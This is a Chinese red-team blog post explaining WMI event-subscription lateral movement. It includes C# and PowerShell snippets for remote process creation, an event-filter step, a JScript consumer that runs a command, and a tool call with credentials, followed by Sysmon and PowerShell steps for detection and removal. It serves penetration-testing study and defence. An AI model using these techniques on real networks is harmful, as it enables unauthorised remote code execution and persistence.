专栏首页鸿鹄实验室Lateral Movement之WMI事件订阅

Lateral Movement之WMI事件订阅

 在之前,我曾在安全客分享过《wmi攻击与防御》的相关议题。里面介绍了关于wmi的一些相关内容,其中提到了使用wmi进行横向移动的方法,只是当时由于时间原因并未对细节进行讲解,在成熟的企业内网中,如何优雅的进行横向移动是需要每个安全人员需要去注意的点。比如如何使用CobaltStrike、Impacket等工具进行横向移动时最小化操作的技巧等。本文将讲解如何使用wmi事件订阅来进行横向移动。

关于wmi事件的横向移动

和大多数的横向移动手法一样,我们使用wmi事件进行横向移动时依旧要求我们有对目标机器的操作权限(或访问凭据),该技术可以实现无文件的效果,这也是该技术的优点之一。

我们在日常的工作中也不乏会使用WMI进行横向移动,比如下面的手法进行pass the ticket,图片来自推特

wmic /authority:”kerberos:CORP\WIN8WORKSTATION” /node:172.16.48.83 process call create “stuff”

而我们今天要说的则是使用wmi事件订阅进行横向移动。与本地执行所不同的是我们如果需要远程执行,则需要配置ManagementScope与ConnectionOptions,比如下面这样:

string NAMESPACE = "\\\\\\\\" + Config.REMOTE_HOST + "\\\\root\\\\subscription";

ConnectionOptions cOption = new ConnectionOptions();
ManagementScope scope = null;
scope = new ManagementScope(NAMESPACE, cOption);
if (!String.IsNullOrEmpty(ACTIVE_DIRECTORY_USERNAME) && !String.IsNullOrEmpty(ACTIVE_DIRECTORY_PASSWORD))
{
  scope.Options.Username = ACTIVE_DIRECTORY_USERNAME;
  scope.Options.Password = ACTIVE_DIRECTORY_PASSWORD;
  scope.Options.Authority = string.Format("ntlmdomain:{0}", ACTIVE_DIRECTORY_DOMAIN);
}
scope.Options.EnablePrivileges = true;
scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
scope.Options.Impersonation = ImpersonationLevel.Impersonate;

代码来自:Dominic Chell

然后我们就需要了解一些关于WMI事件的基础知识了,在进行事件订阅时,我们需要构建两个部分,即fileter与consumer,然后将其绑定在一起,即可达到我们的效果。事件消费者可以分为临时和永久两类,临时的事件消费者只在其运行期间关心特定事件并处理,永久消费者作为类的实例注册在WMI命名空间中,一直有效到它被注销。

在命名空间中包含如下的类:

LogFileEventConsumer
ActiveScriptEventConsumer
NTEventLogEventConsumer
SMTPEventConsumer
CommandLineEventConsumer

他们都属于

- ROOT\CIMV2
- ROOT\DEFAULT

这两个命名空间。我们需要关注的是ActiveScriptEventConsumer和CommandLineEventConsumer类,其中ActiveScriptEventConsumer类允许脚本代码的执行,如JScript或VBScript,而CommandLineEventConsumer类允许运行任意命令。我一般选择使用ActiveScriptEventConsumer来进行使用,这样可以避免一些使用CommandLineEventConsumer时调用lolbin时被拦截的情况。

了解了这些之后,我们就需要寻找一个用来触发的事件了,一般如果需要权限维持的话,我们可以选择Win32_LogonSession,监听登录来触发,但我们仅仅是为了横向移动而已,所以我们选择更简单的方式来进行触发即创建一个进程,然后查询是否具有该进程,有的话,则触发。关于在远程机器上创建进程可以使用下面的语句:

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName 192.168.0.102 -Credential 'DM\administrator'

然后用下面的方法进行应用过滤器即可:

 Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments

然后我们要做的就是调用ActiveScriptEventConsumer来执行我们想要执行的程序,可以用使用 ScriptFileName 指定脚本的路径,也可以直接使用 ScriptText 将脚本内容直接写入。示例如下:

$setings = @{
Name = $EventName;
ScriptingEngine = 'JScript';
ScriptText = 'new ActiveXObject("Wscript.Shell").Run("cmd.exe /c echo 1 > c:\\1.txt");'
}

最后将Filter与Consumer进行绑定即可,绑定、执行完之后进行清理即可。

下面是国外大佬的demo视频。

由于本人没有见到源程序,只好使用powershell进行了简单实现,源代码已上传到github,地址如下:

https://github.com/lengjibo/RedTeamTools/tree/master/windows/WMIShell

效果如下:

额,换windows,再来。

PS C:\Users\Administrator\Desktop> New-WMIShell -Target '192.168.2.115' -Username 'administrator' -Password 'abc123!' -ProcessName 'notepad.exe' -JScriptPath C:\Users\Administrator\Desktop\payload.js -FilterName 'sdqwsda' -ConsumerName 'sdqwsda'

防御:

关于此类攻击的防御,只需关注相关事件即可:

<RuleGroup name="" groupRelation="or">
<!-- Event ID 19,20,21, == WmiEvent. Log all WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter activity-->
<WmiEvent onmatch="exclude"/>
</RuleGroup>

或者查看各类wmi的情况:

查看系统上注册的WMI事件消费者

Get-WMIObject -Namespace root/Subscription -Class __EventConsumer

查看系统上注册的事件过滤器

Get-WMIObject -Namespace root/Subscription -Class __EventFilter

查看系统上已经绑定的过滤器和消费者

Get-WMIObject -Namespace root/Subscription -Class __FilterToConsumerBinding

然后移除即可

Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%Updater%’” | Remove-WmiObject -Verbose

总结:

参考文章:

https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/

声明: 文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-09-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • WMI ——重写版

    本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrument...

    Ms08067安全实验室
  • Cobalt Strike 4.0 Updates You Should Know

    我相信大家都被一条信息给炸了锅“cobaltstrike4.0破解版出来了”,这对于我们这些穷逼来说是一件好事,今天我就带大家看看cs4.0更新了啥

    Gcow安全团队
  • OFFENSIVE LATERAL MOVEMENT 横向移动(译文)

    近期看了一篇不错的横向移动的文章,觉得不错就简单翻译了一下(谷歌翻译哈哈哈哈!) 原文地址:https://posts.specterops.io/offens...

    黑白天安全
  • 如何检测并清除WMI持久性后门

    当前,Windows Management Instrumentation(WMI)事件订阅已经变成了一种非常流行的在端点上建立持久性后门的技术。于是,我决定鼓...

    C4rpeDime
  • 如何检测并移除WMI持久化后门?

    Windows Management Instrumentation(WMI)事件订阅,是一种常被攻击者利用来在端点上建立持久性的技术。因此,我决定花一些时间研...

    FB客服
  • 横向移动之WinRM横向移动

    "Windows远程管理(WinRM)"是WS-Management协议(Web Services for Management,又名WSMan)的Micros...

    黑白天安全
  • 通过 DCOM 的 ShellWindows & ShellBrowserWindow 进行横向渗透

    这个系列的文章翻译由信安之路红蓝对抗小组的所有成员共同完成,后续将陆续发布,敬请期待!

    信安之路
  • 你知道,我是怎样监控你所有打开EXE的吗

    目前已知在杀毒厂商以及游戏厂商的安全对抗过程中,常常需要准确的监控收集并进行检测用户创建打开的EXE应用程序是否是安全的。同时也可以将此技术应用于其他应用的安全...

    小道安全
  • Apache-Flink深度解析-JOIN-LATERAL

    上一篇《JOIN算子》我们对最常见的JOIN做了详尽的分析,本篇介绍一个特殊的JOIN,那就是JOIN LATERAL。JOIN LATERAL为什么特殊呢,直...

    王知无-import_bigdata
  • Apache-Flink深度解析-JOIN-LATERAL

    本篇介绍一个特殊的JOIN,那就是JOIN LATERAL。JOIN LATERAL为什么特殊呢,直观说因为JOIN的右边不是一个实际的物理表,而是一个VIEW...

    王知无-import_bigdata
  • 狩猎二进制重命名

    ATT&CK 技术项编号为 T1036 的二进制重命名技术,正在被越来越多的恶意软件所采用,本文介绍如何使用多种方法对该技术进行监控与检测。

    FB客服
  • WMI技术介绍和应用——WMI概述

            今天,我要开始一系列关于微软WMI技术的介绍。通过之后若干节的介绍,我想WMI技术将为在windows平台上从事开发的朋友开启另外一扇窗。(转载...

    方亮
  • 吹弹牛皮之Unity 事件订阅系统

    Unity世界有着太多的事情需要借助事件系统去完成。小菜记得《大话设计模式》中是以老猫Tom和两只老鼠Jerry和Jack来生动形象的描述这个过程的(这...

    用户7698595
  • 初识(fileless malware)无文件非恶意软件

    区别于传统的基于文件的攻击,无文件非恶意软件攻击在内存中运行,不需要利用可执行文件就能达到攻击的目的。无文件非恶意软件本身是系统内置的合法工具,但是被用来执行一...

    贝塔安全实验室
  • 如何使用CIMplant收集远程系统中的数据并执行命令

    CIMplant是WMImplant项目的C#实现,并扩展了原项目的相关功能,该工具 能够使用CIM或WMI来查询远程系统,并且可以使用用户提供的凭据或当前用户...

    FB客服
  • WMI技术介绍和应用——执行方法

            在之前的博文中,我们主要介绍了如何使用WMI查询信息和接收事件。本文将介绍WMI的另一种用法——执行方法。(转载请指明出于breaksoftwa...

    方亮
  • Vista Gadgets

    Sidebar与Gadgets,作为微软在Windows Vista中新纳入的组件,能够提供相当丰富的功能,为用户的日常操作与使用带来很大的便利,比如说,在Si...

    张善友
  • PTAA:一款功能强大的紫队自动化渗透测试工具

    为了评估安全检测与事件响应能力,我们正在尝试寻找一种自动化模拟对手攻击策略的方式。通过研究,我们设计出了MITRE ATT&CK™ TTPs,并以Metaspl...

    FB客服
  • T1028: WinRM for Lateral Movement

    WinRM(Windows Remote Management是WS-Management Protocol Microsoft 实现(具体体现为Win RM...

    鸿鹄实验室

扫码关注云+社区

领取腾讯云代金券